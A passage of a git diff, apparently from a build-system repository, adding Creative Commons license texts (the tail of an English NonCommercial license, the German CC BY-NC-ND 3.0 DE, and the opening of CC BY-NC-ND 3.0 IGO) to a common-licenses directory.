+ 1. Moral rights, such as the right of integrity, are not licensed under this Public License, nor are publicity, privacy, and/or other similar personality rights; however, to the extent possible, the Licensor waives and/or agrees not to assert any such rights held by the Licensor to the limited extent necessary to allow You to exercise the Licensed Rights, but not otherwise.
+
+ 2. Patent and trademark rights are not licensed under this Public License.
+
+ 3. To the extent possible, the Licensor waives any right to collect royalties from You for the exercise of the Licensed Rights, whether directly or through a collecting society under any voluntary or waivable statutory or compulsory licensing scheme. In all other cases the Licensor expressly reserves any right to collect such royalties, including when the Licensed Material is used other than for NonCommercial purposes.
+
+Section 3 – License Conditions.
+
+Your exercise of the Licensed Rights is expressly made subject to the following conditions.
+
+ a. Attribution.
+
+ 1. If You Share the Licensed Material (including in modified form), You must:
+
+ A. retain the following if it is supplied by the Licensor with the Licensed Material:
+
+ i. identification of the creator(s) of the Licensed Material and any others designated to receive attribution, in any reasonable manner requested by the Licensor (including by pseudonym if designated);
+
+ ii. a copyright notice;
+
+ iii. a notice that refers to this Public License;
+
+ iv. a notice that refers to the disclaimer of warranties;
+
+ v. a URI or hyperlink to the Licensed Material to the extent reasonably practicable;
+
+ B. indicate if You modified the Licensed Material and retain an indication of any previous modifications; and
+
+ C. indicate the Licensed Material is licensed under this Public License, and include the text of, or the URI or hyperlink to, this Public License.
+
+ 2. You may satisfy the conditions in Section 3(a)(1) in any reasonable manner based on the medium, means, and context in which You Share the Licensed Material. For example, it may be reasonable to satisfy the conditions by providing a URI or hyperlink to a resource that includes the required information.
+
+ 3. If requested by the Licensor, You must remove any of the information required by Section 3(a)(1)(A) to the extent reasonably practicable.
+
+ 4. If You Share Adapted Material You produce, the Adapter's License You apply must not prevent recipients of the Adapted Material from complying with this Public License.
+
+Section 4 – Sui Generis Database Rights.
+
+Where the Licensed Rights include Sui Generis Database Rights that apply to Your use of the Licensed Material:
+
+ a. for the avoidance of doubt, Section 2(a)(1) grants You the right to extract, reuse, reproduce, and Share all or a substantial portion of the contents of the database for NonCommercial purposes only;
+
+ b. if You include all or a substantial portion of the database contents in a database in which You have Sui Generis Database Rights, then the database in which You have Sui Generis Database Rights (but not its individual contents) is Adapted Material; and
+
+ c. You must comply with the conditions in Section 3(a) if You Share all or a substantial portion of the contents of the database.
+For the avoidance of doubt, this Section 4 supplements and does not replace Your obligations under this Public License where the Licensed Rights include other Copyright and Similar Rights.
+
+Section 5 – Disclaimer of Warranties and Limitation of Liability.
+
+ a. Unless otherwise separately undertaken by the Licensor, to the extent possible, the Licensor offers the Licensed Material as-is and as-available, and makes no representations or warranties of any kind concerning the Licensed Material, whether express, implied, statutory, or other. This includes, without limitation, warranties of title, merchantability, fitness for a particular purpose, non-infringement, absence of latent or other defects, accuracy, or the presence or absence of errors, whether or not known or discoverable. Where disclaimers of warranties are not allowed in full or in part, this disclaimer may not apply to You.
+
+ b. To the extent possible, in no event will the Licensor be liable to You on any legal theory (including, without limitation, negligence) or otherwise for any direct, special, indirect, incidental, consequential, punitive, exemplary, or other losses, costs, expenses, or damages arising out of this Public License or use of the Licensed Material, even if the Licensor has been advised of the possibility of such losses, costs, expenses, or damages. Where a limitation of liability is not allowed in full or in part, this limitation may not apply to You.
+
+ c. The disclaimer of warranties and limitation of liability provided above shall be interpreted in a manner that, to the extent possible, most closely approximates an absolute disclaimer and waiver of all liability.
+
+Section 6 – Term and Termination.
+
+ a. This Public License applies for the term of the Copyright and Similar Rights licensed here. However, if You fail to comply with this Public License, then Your rights under this Public License terminate automatically.
+
+ b. Where Your right to use the Licensed Material has terminated under Section 6(a), it reinstates:
+
+ 1. automatically as of the date the violation is cured, provided it is cured within 30 days of Your discovery of the violation; or
+
+ 2. upon express reinstatement by the Licensor.
+
+ For the avoidance of doubt, this Section 6(b) does not affect any right the Licensor may have to seek remedies for Your violations of this Public License.
+
+ c. For the avoidance of doubt, the Licensor may also offer the Licensed Material under separate terms or conditions or stop distributing the Licensed Material at any time; however, doing so will not terminate this Public License.
+
+ d. Sections 1, 5, 6, 7, and 8 survive termination of this Public License.
+
+Section 7 – Other Terms and Conditions.
+
+ a. The Licensor shall not be bound by any additional or different terms or conditions communicated by You unless expressly agreed.
+
+ b. Any arrangements, understandings, or agreements regarding the Licensed Material not stated herein are separate from and independent of the terms and conditions of this Public License.
+
+Section 8 – Interpretation.
+
+ a. For the avoidance of doubt, this Public License does not, and shall not be interpreted to, reduce, limit, restrict, or impose conditions on any use of the Licensed Material that could lawfully be made without permission under this Public License.
+
+ b. To the extent possible, if any provision of this Public License is deemed unenforceable, it shall be automatically reformed to the minimum extent necessary to make it enforceable. If the provision cannot be reformed, it shall be severed from this Public License without affecting the enforceability of the remaining terms and conditions.
+
+ c. No term or condition of this Public License will be waived and no failure to comply consented to unless expressly agreed to by the Licensor.
+
+ d. Nothing in this Public License constitutes or may be interpreted as a limitation upon, or waiver of, any privileges and immunities that apply to the Licensor or You, including from the legal processes of any jurisdiction or authority.
+
+Creative Commons is not a party to its public licenses. Notwithstanding, Creative Commons may elect to apply one of its public licenses to material it publishes and in those instances will be considered the “Licensor.” Except for the limited purpose of indicating that material is shared under a Creative Commons public license or as otherwise permitted by the Creative Commons policies published at creativecommons.org/policies, Creative Commons does not authorize the use of the trademark “Creative Commons” or any other trademark or logo of Creative Commons without its prior written consent including, without limitation, in connection with any unauthorized modifications to any of its public licenses or any other arrangements, understandings, or agreements concerning use of licensed material. For the avoidance of doubt, this paragraph does not form part of the public licenses.
+
+Creative Commons may be contacted at creativecommons.org.
diff --git a/meta/files/common-licenses/CC-BY-NC-ND-3.0-DE b/meta/files/common-licenses/CC-BY-NC-ND-3.0-DE
new file mode 100644
index 0000000000..06d59d675a
--- /dev/null
+++ b/meta/files/common-licenses/CC-BY-NC-ND-3.0-DE
@@ -0,0 +1,101 @@
+Creative Commons Namensnennung - Keine kommerzielle Nutzung - Keine Bearbeitungen 3.0 Deutschland
+
+ CREATIVE COMMONS IST KEINE RECHTSANWALTSKANZLEI UND LEISTET KEINE RECHTSBERATUNG. DIE BEREITSTELLUNG DIESER LIZENZ FÜHRT ZU KEINEM MANDATSVERHÄLTNIS. CREATIVE COMMONS STELLT DIESE INFORMATIONEN OHNE GEWÄHR ZUR VERFÜGUNG. CREATIVE COMMONS ÜBERNIMMT KEINE GEWÄHRLEISTUNG FÜR DIE GELIEFERTEN INFORMATIONEN UND SCHLIEßT DIE HAFTUNG FÜR SCHÄDEN AUS, DIE SICH AUS DEREN GEBRAUCH ERGEBEN.
+
+Lizenz
+
+DER GEGENSTAND DIESER LIZENZ (WIE UNTER "SCHUTZGEGENSTAND" DEFINIERT) WIRD UNTER DEN BEDINGUNGEN DIESER CREATIVE COMMONS PUBLIC LICENSE ("CCPL", "LIZENZ" ODER "LIZENZVERTRAG") ZUR VERFÜGUNG GESTELLT. DER SCHUTZGEGENSTAND IST DURCH DAS URHEBERRECHT UND/ODER ANDERE GESETZE GESCHÜTZT. JEDE FORM DER NUTZUNG DES SCHUTZGEGENSTANDES, DIE NICHT AUFGRUND DIESER LIZENZ ODER DURCH GESETZE GESTATTET IST, IST UNZULÄSSIG.
+
+DURCH DIE AUSÜBUNG EINES DURCH DIESE LIZENZ GEWÄHRTEN RECHTS AN DEM SCHUTZGEGENSTAND ERKLÄREN SIE SICH MIT DEN LIZENZBEDINGUNGEN RECHTSVERBINDLICH EINVERSTANDEN. SOWEIT DIESE LIZENZ ALS LIZENZVERTRAG ANZUSEHEN IST, GEWÄHRT IHNEN DER LIZENZGEBER DIE IN DER LIZENZ GENANNTEN RECHTE UNENTGELTLICH UND IM AUSTAUSCH DAFÜR, DASS SIE DAS GEBUNDENSEIN AN DIE LIZENZBEDINGUNGEN AKZEPTIEREN.
+
+1. Definitionen
+
+ a. Der Begriff "Abwandlung" im Sinne dieser Lizenz bezeichnet das Ergebnis jeglicher Art von Veränderung des Schutzgegenstandes, solange die eigenpersönlichen Züge des Schutzgegenstandes darin nicht verblassen und daran eigene Schutzrechte entstehen. Das kann insbesondere eine Bearbeitung, Umgestaltung, Änderung, Anpassung, Übersetzung oder Heranziehung des Schutzgegenstandes zur Vertonung von Laufbildern sein. Nicht als Abwandlung des Schutzgegenstandes gelten seine Aufnahme in eine Sammlung oder ein Sammelwerk und die freie Benutzung des Schutzgegenstandes.
+
+ b. Der Begriff "Sammelwerk" im Sinne dieser Lizenz meint eine Zusammenstellung von literarischen, künstlerischen oder wissenschaftlichen Inhalten, sofern diese Zusammenstellung aufgrund von Auswahl und Anordnung der darin enthaltenen selbständigen Elemente eine geistige Schöpfung darstellt, unabhängig davon, ob die Elemente systematisch oder methodisch angelegt und dadurch einzeln zugänglich sind oder nicht.
+
+ c. "Verbreiten" im Sinne dieser Lizenz bedeutet, den Schutzgegenstand im Original oder in Form von Vervielfältigungsstücken, mithin in körperlich fixierter Form der Öffentlichkeit anzubieten oder in Verkehr zu bringen.
+
+ d. Der "Lizenzgeber" im Sinne dieser Lizenz ist diejenige natürliche oder juristische Person oder Gruppe, die den Schutzgegenstand unter den Bedingungen dieser Lizenz anbietet und insoweit als Rechteinhaberin auftritt.
+
+ e. "Rechteinhaber" im Sinne dieser Lizenz ist der Urheber des Schutzgegenstandes oder jede andere natürliche oder juristische Person oder Gruppe von Personen, die am Schutzgegenstand ein Immaterialgüterrecht erlangt hat, welches die in Abschnitt 3 genannten Handlungen erfasst und bei dem eine Einräumung von Nutzungsrechten oder eine Weiterübertragung an Dritte möglich ist.
+
+ f. Der Begriff "Schutzgegenstand" bezeichnet in dieser Lizenz den literarischen, künstlerischen oder wissenschaftlichen Inhalt, der unter den Bedingungen dieser Lizenz angeboten wird. Das kann insbesondere eine persönliche geistige Schöpfung jeglicher Art, ein Werk der kleinen Münze, ein nachgelassenes Werk oder auch ein Lichtbild oder anderes Objekt eines verwandten Schutzrechts sein, unabhängig von der Art seiner Fixierung und unabhängig davon, auf welche Weise jeweils eine Wahrnehmung erfolgen kann, gleichviel ob in analoger oder digitaler Form. Soweit Datenbanken oder Zusammenstellungen von Daten einen immaterialgüterrechtlichen Schutz eigener Art genießen, unterfallen auch sie dem Begriff "Schutzgegenstand" im Sinne dieser Lizenz.
+
+ g. Mit "Sie" bzw. "Ihnen" ist die natürliche oder juristische Person gemeint, die in dieser Lizenz im Abschnitt 3 genannte Nutzungen des Schutzgegenstandes vornimmt und zuvor in Hinblick auf den Schutzgegenstand nicht gegen Bedingungen dieser Lizenz verstoßen oder aber die ausdrückliche Erlaubnis des Lizenzgebers erhalten hat, die durch diese Lizenz gewährten Nutzungsrechte trotz eines vorherigen Verstoßes auszuüben.
+
+ h. Unter "Öffentlich Zeigen" im Sinne dieser Lizenz sind Veröffentlichungen und Präsentationen des Schutzgegenstandes zu verstehen, die für eine Mehrzahl von Mitgliedern der Öffentlichkeit bestimmt sind und in unkörperlicher Form mittels öffentlicher Wiedergabe in Form von Vortrag, Aufführung, Vorführung, Darbietung, Sendung, Weitersendung, zeit- und ortsunabhängiger Zugänglichmachung oder in körperlicher Form mittels Ausstellung erfolgen, unabhängig von bestimmten Veranstaltungen und unabhängig von den zum Einsatz kommenden Techniken und Verfahren, einschließlich drahtgebundener oder drahtloser Mittel und Einstellen in das Internet.
+
+ i. "Vervielfältigen" im Sinne dieser Lizenz bedeutet, mittels beliebiger Verfahren Vervielfältigungsstücke des Schutzgegenstandes herzustellen, insbesondere durch Ton- oder Bildaufzeichnungen, und umfasst auch den Vorgang, erstmals körperliche Fixierungen des Schutzgegenstandes sowie Vervielfältigungsstücke dieser Fixierungen anzufertigen, sowie die Übertragung des Schutzgegenstandes auf einen Bild- oder Tonträger oder auf ein anderes elektronisches Medium, gleichviel ob in digitaler oder analoger Form.
+
+2. Schranken des Immaterialgüterrechts. Diese Lizenz ist in keiner Weise darauf gerichtet, Befugnisse zur Nutzung des Schutzgegenstandes zu vermindern, zu beschränken oder zu vereiteln, die Ihnen aufgrund der Schranken des Urheberrechts oder anderer Rechtsnormen bereits ohne Weiteres zustehen oder sich aus dem Fehlen eines immaterialgüterrechtlichen Schutzes ergeben.
+
+3. Einräumung von Nutzungsrechten. Unter den Bedingungen dieser Lizenz räumt Ihnen der Lizenzgeber - unbeschadet unverzichtbarer Rechte und vorbehaltlich des Abschnitts 4.e) - das vergütungsfreie, räumlich und zeitlich (für die Dauer des Schutzrechts am Schutzgegenstand) unbeschränkte einfache Recht ein, den Schutzgegenstand auf die folgenden Arten und Weisen zu nutzen ("unentgeltlich eingeräumtes einfaches Nutzungsrecht für jedermann"):
+
+ a. den Schutzgegenstand in beliebiger Form und Menge zu vervielfältigen, ihn in Sammelwerke zu integrieren und ihn als Teil solcher Sammelwerke zu vervielfältigen;
+
+ b. den Schutzgegenstand, allein oder in Sammelwerke aufgenommen, öffentlich zu zeigen und zu verbreiten.
+
+Das vorgenannte Nutzungsrecht wird für alle bekannten sowie für alle noch nicht bekannten Nutzungsarten eingeräumt. Es beinhaltet auch das Recht, solche Änderungen am Schutzgegenstand vorzunehmen, die für bestimmte nach dieser Lizenz zulässige Nutzungen technisch erforderlich sind. Weitergehende Änderungen oder Abwandlungen sind jedoch untersagt. Alle sonstigen Rechte, die über diesen Abschnitt hinaus nicht ausdrücklich durch den Lizenzgeber eingeräumt werden, bleiben diesem allein vorbehalten. Soweit Datenbanken oder Zusammenstellungen von Daten Schutzgegenstand dieser Lizenz oder Teil dessen sind und einen immaterialgüterrechtlichen Schutz eigener Art genießen, verzichtet der Lizenzgeber auf sämtliche aus diesem Schutz resultierenden Rechte.
+
+4. Bedingungen. Die Einräumung des Nutzungsrechts gemäß Abschnitt 3 dieser Lizenz erfolgt ausdrücklich nur unter den folgenden Bedingungen:
+
+ a. Sie dürfen den Schutzgegenstand ausschließlich unter den Bedingungen dieser Lizenz verbreiten oder öffentlich zeigen. Sie müssen dabei stets eine Kopie dieser Lizenz oder deren vollständige Internetadresse in Form des Uniform-Resource-Identifier (URI) beifügen. Sie dürfen keine Vertrags- oder Nutzungsbedingungen anbieten oder fordern, die die Bedingungen dieser Lizenz oder die durch diese Lizenz gewährten Rechte beschränken. Sie dürfen den Schutzgegenstand nicht unterlizenzieren. Bei jeder Kopie des Schutzgegenstandes, die Sie verbreiten oder öffentlich zeigen, müssen Sie alle Hinweise unverändert lassen, die auf diese Lizenz und den Haftungsausschluss hinweisen. Wenn Sie den Schutzgegenstand verbreiten oder öffentlich zeigen, dürfen Sie (in Bezug auf den Schutzgegenstand) keine technischen Maßnahmen ergreifen, die den Nutzer des Schutzgegenstandes in der Ausübung der ihm durch diese Lizenz gewährten Rechte behindern können. Dieser Abschnitt 4.a) gilt auch für den Fall, dass der Schutzgegenstand einen Bestandteil eines Sammelwerkes bildet, was jedoch nicht bedeutet, dass das Sammelwerk insgesamt dieser Lizenz unterstellt werden muss. Sofern Sie ein Sammelwerk erstellen, müssen Sie auf die Mitteilung eines Lizenzgebers hin aus dem Sammelwerk die in Abschnitt 4.c) aufgezählten Hinweise entfernen.
+
+ b. Die Rechteeinräumung gemäß Abschnitt 3 gilt nur für Handlungen, die nicht vorrangig auf einen geschäftlichen Vorteil oder eine geldwerte Vergütung gerichtet sind ("nicht-kommerzielle Nutzung", "Non-commercial-Option"). Wird Ihnen in Zusammenhang mit dem Schutzgegenstand dieser Lizenz ein anderer Schutzgegenstand überlassen, ohne dass eine vertragliche Verpflichtung hierzu besteht (etwa im Wege von File-Sharing), so wird dies nicht als auf geschäftlichen Vorteil oder geldwerte Vergütung gerichtet angesehen, wenn in Verbindung mit dem Austausch der Schutzgegenstände tatsächlich keine Zahlung oder geldwerte Vergütung geleistet wird.
+
+ c. Die Verbreitung und das öffentliche Zeigen des Schutzgegenstandes oder ihn enthaltender Sammelwerke ist Ihnen nur unter der Bedingung gestattet, dass Sie, vorbehaltlich etwaiger Mitteilungen im Sinne von Abschnitt 4.a), alle dazu gehörenden Rechtevermerke unberührt lassen. Sie sind verpflichtet, die Rechteinhaberschaft in einer der Nutzung entsprechenden, angemessenen Form anzuerkennen, indem Sie - soweit bekannt - Folgendes angeben:
+
+ i. Den Namen (oder das Pseudonym, falls ein solches verwendet wird) des Rechteinhabers und / oder, falls der Lizenzgeber im Rechtevermerk, in den Nutzungsbedingungen oder auf andere angemessene Weise eine Zuschreibung an Dritte vorgenommen hat (z.B. an eine Stiftung, ein Verlagshaus oder eine Zeitung) ("Zuschreibungsempfänger"), Namen bzw. Bezeichnung dieses oder dieser Dritten;
+
+ ii. den Titel des Inhaltes;
+
+ iii. in einer praktikablen Form den Uniform-Resource-Identifier (URI, z.B. Internetadresse), den der Lizenzgeber zum Schutzgegenstand angegeben hat, es sei denn, dieser URI verweist nicht auf den Rechtevermerk oder die Lizenzinformationen zum Schutzgegenstand.
+
+ Die nach diesem Abschnitt 4.c) erforderlichen Angaben können in jeder angemessenen Form gemacht werden; im Falle eines Sammelwerkes müssen diese Angaben das Minimum darstellen und bei gemeinsamer Nennung mehrerer Rechteinhaber dergestalt erfolgen, dass sie zumindest ebenso hervorgehoben sind wie die Hinweise auf die übrigen Rechteinhaber. Die Angaben nach diesem Abschnitt dürfen Sie ausschließlich zur Angabe der Rechteinhaberschaft in der oben bezeichneten Weise verwenden. Durch die Ausübung Ihrer Rechte aus dieser Lizenz dürfen Sie ohne eine vorherige, separat und schriftlich vorliegende Zustimmung des Lizenzgebers und / oder des Zuschreibungsempfängers weder explizit noch implizit irgendeine Verbindung zum Lizenzgeber oder Zuschreibungsempfänger und ebenso wenig eine Unterstützung oder Billigung durch ihn andeuten.
+
+ d. Die oben unter 4.a) bis c) genannten Einschränkungen gelten nicht für solche Teile des Schutzgegenstandes, die allein deshalb unter den Schutzgegenstandsbegriff fallen, weil sie als Datenbanken oder Zusammenstellungen von Daten einen immaterialgüterrechtlichen Schutz eigener Art genießen.
+
+ e. Bezüglich Vergütung für die Nutzung des Schutzgegenstandes gilt Folgendes:
+
+ i. Unverzichtbare gesetzliche Vergütungsansprüche: Soweit unverzichtbare Vergütungsansprüche im Gegenzug für gesetzliche Lizenzen vorgesehen oder Pauschalabgabensysteme (zum Beispiel für Leermedien) vorhanden sind, behält sich der Lizenzgeber das ausschließliche Recht vor, die entsprechende Vergütung einzuziehen für jede Ausübung eines Rechts aus dieser Lizenz durch Sie.
+
+ ii. Vergütung bei Zwangslizenzen: Sofern Zwangslizenzen außerhalb dieser Lizenz vorgesehen sind und zustande kommen, behält sich der Lizenzgeber das ausschließliche Recht auf Einziehung der entsprechenden Vergütung für den Fall vor, dass Sie eine Nutzung des Schutzgegenstandes für andere als die in Abschnitt 4.b) als nicht-kommerziell definierten Zwecke vornehmen, verzichtet für alle übrigen, lizenzgerechten Fälle von Nutzung jedoch auf jegliche Vergütung.
+
+ iii. Vergütung in sonstigen Fällen: Bezüglich lizenzgerechter Nutzung des Schutzgegenstandes durch Sie, die nicht unter die beiden vorherigen Abschnitte (i) und (ii) fällt, verzichtet der Lizenzgeber auf jegliche Vergütung, unabhängig davon, ob eine Einziehung der Vergütung durch ihn selbst oder nur durch eine Verwertungsgesellschaft möglich wäre. Der Lizenzgeber behält sich jedoch das ausschließliche Recht auf Einziehung der entsprechenden Vergütung (durch ihn selbst oder eine Verwertungsgesellschaft) für den Fall vor, dass Sie eine Nutzung des Schutzgegenstandes für andere als die in Abschnitt 4.b) als nicht-kommerziell definierten Zwecke vornehmen.
+
+ f. Persönlichkeitsrechte bleiben - soweit sie bestehen - von dieser Lizenz unberührt.
+
+5. Gewährleistung
+
+SOFERN KEINE ANDERS LAUTENDE, SCHRIFTLICHE VEREINBARUNG ZWISCHEN DEM LIZENZGEBER UND IHNEN GESCHLOSSEN WURDE UND SOWEIT MÄNGEL NICHT ARGLISTIG VERSCHWIEGEN WURDEN, BIETET DER LIZENZGEBER DEN SCHUTZGEGENSTAND UND DIE EINRÄUMUNG VON RECHTEN UNTER AUSSCHLUSS JEGLICHER GEWÄHRLEISTUNG AN UND ÜBERNIMMT WEDER AUSDRÜCKLICH NOCH KONKLUDENT GARANTIEN IRGENDEINER ART. DIES UMFASST INSBESONDERE DAS FREISEIN VON SACH- UND RECHTSMÄNGELN, UNABHÄNGIG VON DEREN ERKENNBARKEIT FÜR DEN LIZENZGEBER, DIE VERKEHRSFÄHIGKEIT DES SCHUTZGEGENSTANDES, SEINE VERWENDBARKEIT FÜR EINEN BESTIMMTEN ZWECK SOWIE DIE KORREKTHEIT VON BESCHREIBUNGEN. DIESE GEWÄHRLEISTUNGSBESCHRÄNKUNG GILT NICHT, SOWEIT MÄNGEL ZU SCHÄDEN DER IN ABSCHNITT 6 BEZEICHNETEN ART FÜHREN UND AUF SEITEN DES LIZENZGEBERS DAS JEWEILS GENANNTE VERSCHULDEN BZW. VERTRETENMÜSSEN EBENFALLS VORLIEGT.
+
+6. Haftungsbeschränkung
+
+DER LIZENZGEBER HAFTET IHNEN GEGENÜBER IN BEZUG AUF SCHÄDEN AUS DER VERLETZUNG DES LEBENS, DES KÖRPERS ODER DER GESUNDHEIT NUR, SOFERN IHM WENIGSTENS FAHRLÄSSIGKEIT VORZUWERFEN IST, FÜR SONSTIGE SCHÄDEN NUR BEI GROBER FAHRLÄSSIGKEIT ODER VORSATZ, UND ÜBERNIMMT DARÜBER HINAUS KEINERLEI FREIWILLIGE HAFTUNG.
+
+7. Erlöschen
+
+ a. Diese Lizenz und die durch sie eingeräumten Nutzungsrechte erlöschen mit Wirkung für die Zukunft im Falle eines Verstoßes gegen die Lizenzbedingungen durch Sie, ohne dass es dazu der Kenntnis des Lizenzgebers vom Verstoß oder einer weiteren Handlung einer der Vertragsparteien bedarf. Mit natürlichen oder juristischen Personen, die den Schutzgegenstand enthaltende Sammelwerke unter den Bedingungen dieser Lizenz von Ihnen erhalten haben, bestehen nachträglich entstandene Lizenzbeziehungen jedoch solange weiter, wie die genannten Personen sich ihrerseits an sämtliche Lizenzbedingungen halten. Darüber hinaus gelten die Ziffern 1, 2, 5, 6, 7, und 8 auch nach einem Erlöschen dieser Lizenz fort.
+
+ b. Vorbehaltlich der oben genannten Bedingungen gilt diese Lizenz unbefristet bis der rechtliche Schutz für den Schutzgegenstand ausläuft. Davon abgesehen behält der Lizenzgeber das Recht, den Schutzgegenstand unter anderen Lizenzbedingungen anzubieten oder die eigene Weitergabe des Schutzgegenstandes jederzeit einzustellen, solange die Ausübung dieses Rechts nicht einer Kündigung oder einem Widerruf dieser Lizenz (oder irgendeiner Weiterlizenzierung, die auf Grundlage dieser Lizenz bereits erfolgt ist bzw. zukünftig noch erfolgen muss) dient und diese Lizenz unter Berücksichtigung der oben zum Erlöschen genannten Bedingungen vollumfänglich wirksam bleibt.
+
+8. Sonstige Bestimmungen
+
+ a. Jedes Mal wenn Sie den Schutzgegenstand für sich genommen oder als Teil eines Sammelwerkes verbreiten oder öffentlich zeigen, bietet der Lizenzgeber dem Empfänger eine Lizenz zu den gleichen Bedingungen und im gleichen Umfang an, wie Ihnen in Form dieser Lizenz.
+
+ b. Sollte eine Bestimmung dieser Lizenz unwirksam sein, so bleibt davon die Wirksamkeit der Lizenz im Übrigen unberührt.
+
+ c. Keine Bestimmung dieser Lizenz soll als abbedungen und kein Verstoß gegen sie als zulässig gelten, solange die von dem Verzicht oder von dem Verstoß betroffene Seite nicht schriftlich zugestimmt hat.
+
+ d. Diese Lizenz (zusammen mit in ihr ausdrücklich vorgesehenen Erlaubnissen, Mitteilungen und Zustimmungen, soweit diese tatsächlich vorliegen) stellt die vollständige Vereinbarung zwischen dem Lizenzgeber und Ihnen in Bezug auf den Schutzgegenstand dar. Es bestehen keine Abreden, Vereinbarungen oder Erklärungen in Bezug auf den Schutzgegenstand, die in dieser Lizenz nicht genannt sind. Rechtsgeschäftliche Änderungen des Verhältnisses zwischen dem Lizenzgeber und Ihnen sind nur über Modifikationen dieser Lizenz möglich. Der Lizenzgeber ist an etwaige zusätzliche, einseitig durch Sie übermittelte Bestimmungen nicht gebunden. Diese Lizenz kann nur durch schriftliche Vereinbarung zwischen Ihnen und dem Lizenzgeber modifiziert werden. Derlei Modifikationen wirken ausschließlich zwischen dem Lizenzgeber und Ihnen und wirken sich nicht auf die Dritten gemäß Ziffern 8.a) angeboteten Lizenzen aus.
+
+ e. Sofern zwischen Ihnen und dem Lizenzgeber keine anderweitige Vereinbarung getroffen wurde und soweit Wahlfreiheit besteht, findet auf diesen Lizenzvertrag das Recht der Bundesrepublik Deutschland Anwendung.
+
+Creative Commons Notice
+
+Creative Commons ist nicht Partei dieser Lizenz und übernimmt keinerlei Gewähr oder dergleichen in Bezug auf den Schutzgegenstand. Creative Commons haftet Ihnen oder einer anderen Partei unter keinem rechtlichen Gesichtspunkt für irgendwelche Schäden, die - abstrakt oder konkret, zufällig oder vorhersehbar - im Zusammenhang mit dieser Lizenz entstehen. Unbeschadet der vorangegangen beiden Sätze, hat Creative Commons alle Rechte und Pflichten eines Lizenzgebers, wenn es sich ausdrücklich als Lizenzgeber im Sinne dieser Lizenz bezeichnet.
+
+Creative Commons gewährt den Parteien nur insoweit das Recht, das Logo und die Marke "Creative Commons" zu nutzen, als dies notwendig ist, um der Öffentlichkeit gegenüber kenntlich zu machen, dass der Schutzgegenstand unter einer CCPL steht. Ein darüber hinaus gehender Gebrauch der Marke "Creative Commons" oder einer verwandten Marke oder eines verwandten Logos bedarf der vorherigen schriftlichen Zustimmung von Creative Commons. Jeder erlaubte Gebrauch richtet sich nach der Creative Commons Marken-Nutzungs-Richtlinie in der jeweils aktuellen Fassung, die von Zeit zu Zeit auf der Website veröffentlicht oder auf andere Weise auf Anfrage zugänglich gemacht wird. Zur Klarstellung: Die genannten Einschränkungen der Markennutzung sind nicht Bestandteil dieser Lizenz.
+
+Creative Commons kann kontaktiert werden über https://creativecommons.org/.
diff --git a/meta/files/common-licenses/CC-BY-NC-ND-3.0-IGO b/meta/files/common-licenses/CC-BY-NC-ND-3.0-IGO
new file mode 100644
index 0000000000..c5b3226c18
--- /dev/null
+++ b/meta/files/common-licenses/CC-BY-NC-ND-3.0-IGO
@@ -0,0 +1,99 @@
+Attribution-NonCommercial-NoDerivs 3.0 IGO
+
+CREATIVE COMMONS CORPORATION IS NOT A LAW FIRM AND DOES NOT PROVIDE LEGAL SERVICES. DISTRIBUTION OF THIS LICENSE DOES NOT CREATE AN ATTORNEY-CLIENT RELATIONSHIP. CREATIVE COMMONS PROVIDES THIS INFORMATION ON AN "AS-IS" BASIS. CREATIVE COMMONS MAKES NO WARRANTIES REGARDING THE INFORMATION PROVIDED, AND DISCLAIMS LIABILITY FOR DAMAGES RESULTING FROM ITS USE. THE LICENSOR IS NOT NECESSARILY AN INTERGOVERNMENTAL ORGANIZATION (IGO), AS DEFINED IN THE LICENSE BELOW.
+
+License
+
+THE WORK (AS DEFINED BELOW) IS PROVIDED UNDER THE TERMS OF THIS CREATIVE COMMONS PUBLIC LICENSE ("LICENSE"). THE LICENSOR (DEFINED BELOW) HOLDS COPYRIGHT AND OTHER RIGHTS IN THE WORK. ANY USE OF THE WORK OTHER THAN AS AUTHORIZED UNDER THIS LICENSE IS PROHIBITED.
+
+BY EXERCISING ANY RIGHTS TO THE WORK PROVIDED HERE, YOU ACCEPT AND AGREE TO BE BOUND BY THE TERMS OF THIS LICENSE. THE LICENSOR GRANTS YOU THE RIGHTS CONTAINED HERE IN CONSIDERATION FOR YOUR ACCEPTANCE AND AGREEMENT TO THE TERMS OF THE LICENSE.
+
+1. Definitions
+
+ a. "IGO" means, solely and exclusively for purposes of this License, an organization established by a treaty or other instrument governed by international law and possessing its own international legal personality. Other organizations established to carry out activities across national borders and that accordingly enjoy immunity from legal process are also IGOs for the sole and exclusive purposes of this License. IGOs may include as members, in addition to states, other entities.
+
+ b. "Work" means the literary and/or artistic work eligible for copyright protection, whatever may be the mode or form of its expression including digital form, and offered under the terms of this License. It is understood that a database, which by reason of the selection and arrangement of its contents constitutes an intellectual creation, is considered a Work.
+
+ c. "Licensor" means the individual, individuals, entity or entities that offer(s) the Work under the terms of this License and may be, but is not necessarily, an IGO.
+
+ d. "You" means an individual or entity exercising rights under this License.
+
+ e. "Reproduce" means to make a copy of the Work in any manner or form, and by any means.
+
+ f. "Distribute" means the activity of making publicly available the Work (or copies of the Work), as applicable, by sale, rental, public lending or any other known form of transfer of ownership or possession of the Work or copy of the Work.
+
+ g. "Publicly Perform" means to perform public recitations of the Work and to communicate to the public those public recitations, by any means or process, including by wire or wireless means or public digital performances; to make available to the public Works in such a way that members of the public may access these Works from a place and at a place individually chosen by them; to perform the Work to the public by any means or process and the communication to the public of the performances of the Work, including by public digital performance; to broadcast and rebroadcast the Work by any means including signs, sounds or images.
+
+ h. "Adaptation" means a work derived from or based upon the Work, or upon the Work and other pre-existing works. Adaptations may include works such as translations, derivative works, or any alterations and arrangements of any kind involving the Work. For purposes of this License, where the Work is a musical work, performance, or phonogram, the synchronization of the Work in timed-relation with a moving image is an Adaptation. For the avoidance of doubt, including the Work in a Collection is not an Adaptation.
+
+ i. "Collection" means a collection of literary or artistic works or other works or subject matter other than works listed in Section 1(b) which by reason of the selection and arrangement of their contents, constitute intellectual creations, in which the Work is included in its entirety in unmodified form along with one or more other contributions, each constituting separate and independent works in themselves, which together are assembled into a collective whole. For the avoidance of doubt, a Collection will not be considered as an Adaptation.
+
+2. Scope of this License. Nothing in this License is intended to reduce, limit, or restrict any uses free from copyright protection.
+
+3. License Grant. Subject to the terms and conditions of this License, the Licensor hereby grants You a worldwide, royalty-free, non-exclusive license to exercise the rights in the Work as follows:
+
+ a. to Reproduce, Distribute and Publicly Perform the Work, to incorporate the Work into one or more Collections, and to Reproduce, Distribute and Publicly Perform the Work as incorporated in the Collections.
+
